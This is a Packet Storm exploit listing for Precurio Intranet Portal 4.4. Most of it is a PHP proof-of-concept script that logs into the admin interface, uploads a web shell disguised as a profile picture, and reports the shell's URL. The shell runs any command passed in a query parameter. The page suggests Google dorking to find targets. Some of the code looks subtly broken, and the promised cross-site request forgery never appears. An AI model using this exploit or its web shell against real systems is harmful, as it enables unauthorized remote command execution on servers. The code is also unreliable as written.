PACKETSTORM

📄 Precurio Intranet Portal 4.4 Cross Site Request Forgery / Shell Upload_PACKETSTORM:215644

Description

Precurio Intranet Portal version 4.4 proof of concept cross site request forgery and remote shell upload exploit...
Visit Original Source

Basic Information

ID PACKETSTORM:215644
Published Feb 16, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Precurio Intranet Portal 4.4 shell upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://www.precurio.com |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] Code Description: The script performs an attack on a website's control panel by exploiting CSRF vulnerabilities and uploading a shell via the website's administrative interface.

(Related : https://packetstorm.news/files/id/189604/ Related CVE numbers: ) .

[+] save code as poc.php.

[+] Usage: php script.php <url> <username> <password>

[+] PayLoad :

<?php

function simulate_login($session, $url, $username, $password) {
try {
echo "Logging in...\n";
sleep(1);
$login_url = "{$url}/public/default/login/submit";
$headers = [
"User-Agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0",
"Content-Type" => "application/x-www-form-urlencoded"
];
$data = [
"username" => $username,
"password" => $password
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, "Welcome System") !== false) {
echo "Login Successful!\n";
sleep(1);
return true;
} else {
echo "Login Failed!\n";
return false;
}
} catch (Exception $e) {
echo "An error occurred during login: {$e->getMessage()}\n";
return false;
}
}

function upload_file($session, $url) {
try {
echo "Shell Preparing...\n";
sleep(1);
$upload_url = "{$url}/public/user/profile/update";
$random_filename = substr(str_shuffle("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"), 0, 5) . ".php";
$file_content = '<html><body><form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?></pre></body></html>';

$file = [
"profile_pic" => new CURLFile('php://temp', 'image/jpeg', $file_content)
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['profile_pic' => new CURLFile($file_content)]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Upload Response Status: " . (isset($response['status_code']) ? $response['status_code'] : "unknown") . "\n";

if (strpos($response, ".php") !== false) {
$path = extract_php_path($response);
echo "Your shell is ready: {$url}/{$path}\n";
} else {
echo "Exploit Failed!\n";
echo substr($response, 0, 500) . "\n";
}
} catch (Exception $e) {
echo "An error occurred during file upload: {$e->getMessage()}\n";
}
}

function extract_php_path($html_content) {
if (preg_match('/src="([^"]+\.php)"/', $html_content, $matches)) {
return $matches[1];
}
return "Path not found";
}

if ($argc != 4) {
echo "Usage: php script.php <url> <username> <password>\n";
exit(1);
}

$url = $argv[1];
$username = $argv[2];
$password = $argv[3];

$session = curl_init();

if (simulate_login($session, $url, $username, $password)) {
upload_file($session, $url);
} else {
echo "Cannot proceed without a valid login.\n";
}
?>




Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.